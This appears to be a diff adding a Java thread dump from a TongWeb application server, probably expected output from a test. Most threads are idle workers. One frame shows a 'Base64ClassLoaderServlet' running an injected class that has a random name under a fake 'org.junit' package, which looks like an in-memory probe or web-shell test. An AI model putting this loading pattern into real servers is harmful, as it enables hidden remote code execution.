+ at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8443-ClientPoller-1" #159 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-6" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-5" #47 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+" server-work-4" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-7" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #86 daemon [TIMED_WAITING]
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Thread.sleep(Native Method)
+ at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-4" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"com.tongweb.tongejb.pool.scheduler.2" #55 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@229cd901
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"Timer-0" #101 daemon [TIMED_WAITING] on java.util.TaskQueue@1b0b0cb4
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+" server-work-6" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-4" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI RenewClean-[172.17.0.4:46537]" #19 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5b51f559
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-5" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"WebSocketClient-AsyncIO-4" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32ebbbd5
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"persistence" #104 daemon [TIMED_WAITING] on java.util.TaskQueue@22b7c3b1
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"RMI TCP Connection(2)-172.17.0.4" #20 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$28/228314699.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-ClientPoller-0" #144 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1228)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-1" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+" server-work-10" #66 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3c4ca311
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.tongejb.nio.server.TaskQueue.take(TaskQueue.java:82)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"RMI TCP Connection(1)-127.0.0.1" #17 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$28/228314699.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-Acceptor-0" #117 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60)
+ at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:217)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-Acceptor-0" #146 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:869)
+ at java.lang.Thread.run(Thread.java:750)
+
+"ajp-bio-8009-exec-2" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-2" #121 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.lang.Thread.dumpThreads(Native Method)
+ at java.lang.Thread.getAllStackTraces(Thread.java:1615)
+ at org.junit.HjZBH.ErrorTcjhwHandler.toString(BasicInfoPrinter.java:26)
+ at java.lang.String.valueOf(String.java:2994)
+ at com.tongweb.web.thor.connector.CoyoteWriter.print(CoyoteWriter.java:248)
+ at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:52)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at EmptyFilter.doFilter(EmptyFilter.java:12)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
+ at com.tongweb.web.thor.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
+ at com.tongweb.web.thor.core.ThorStandardWrapperValve.invoke(ThorStandardWrapperValve.java:202)
+ at com.tongweb.web.thor.core.StandardContextValve.invoke(StandardContextValve.java:242)
+ at com.tongweb.twnt.thor.OpenEJBValve.invoke(OpenEJBValve.java:46)
+ at com.tongweb.web.thor.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
+ at com.tongweb.web.thor.core.ThorStandardHostValve.invoke(ThorStandardHostValve.java:69)
+ at com.tongweb.web.thor.valves.AccessLogValve.invoke(AccessLogValve.java:929)
+ at com.tongweb.web.thor.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
+ at com.tongweb.web.thor.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
+ at com.tongweb.web.thor.connector.CoyoteAdapter.service(CoyoteAdapter.java:411)
+ at com.tongweb.web.oro.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1017)
+ at com.tongweb.web.oro.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1788)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$SocketProcessor.run(NioEndpoint.java:1765)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"NioBlockingSelector.BlockPoller-3" #147 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
+
+"ajp-bio-8009-exec-6" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e6adabb
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-5" #138 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"snapshot" #106 daemon [TIMED_WAITING] on java.util.TaskQueue@66a74237
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.util.TimerThread.mainLoop(Timer.java:552)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"RMI Reaper" #15 [WAITING] on java.lang.ref.ReferenceQueue$Lock@258a8cfb
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-6" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"JCA-default-thread-pool-worker-10" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@582de484
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-9060-exec-9" #142 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7df2729d
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio-8080-exec-7" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@d3abcf0
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
